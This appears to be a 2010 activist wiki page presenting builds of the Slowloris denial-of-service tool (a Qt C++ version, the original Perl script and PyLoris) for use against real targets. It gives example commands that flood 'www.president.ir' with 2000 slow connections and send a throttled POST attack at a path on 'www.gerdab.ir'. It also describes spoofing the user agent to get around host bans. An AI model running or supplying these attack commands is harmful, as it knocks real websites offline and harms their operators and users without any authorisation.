Slowloris

From /i/nsurgency W/i/ki
Revision as of 18:57, 22 April 2010 by >Jakk (fix dem categoriez)
Jump to navigationJump to search

Summary:

QSlowLoris

This is C++ with heavy use of Qt libs. I could make a CLI version, but I don't know how the fuck you use sockets in WINAPI, so you still would need to supply QtCore4.dll(2,6MB) and QtNetwork4.dll(1,33MB) with the exe

  • Wait, I just reailzed that it can be compressed with upx:
  • QSlowloris.exe - 20KB
  • QtCore.dll - 903KB
  • QtNetwork.dll - 447KB

Linux build


Windows build

Original Version

This is the original CLI version.
Example usage: ./slowloris.pl -dns www.president.ir -port 80 -timeout 500 -num 2000

Some hosts might ban the Useragent which Slowloris is using. This version pretends to be Mozilla.

pyLoris

PyLoris is a platform independent python version of Slowloris (Limitations for windows (130 sockets) still applies to <= XpSp2). It runs a little differently than Slowloris, in that it throttles the entire request, allowing users to specify the bandwidth for the connection as well as how large the request is.

Example usage:

python pyloris-1.7.py -l -r POST -s 500000 -g "/fa/pages/?cid=407" www.gerdab.ir \
-u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.31 Safari/530.5"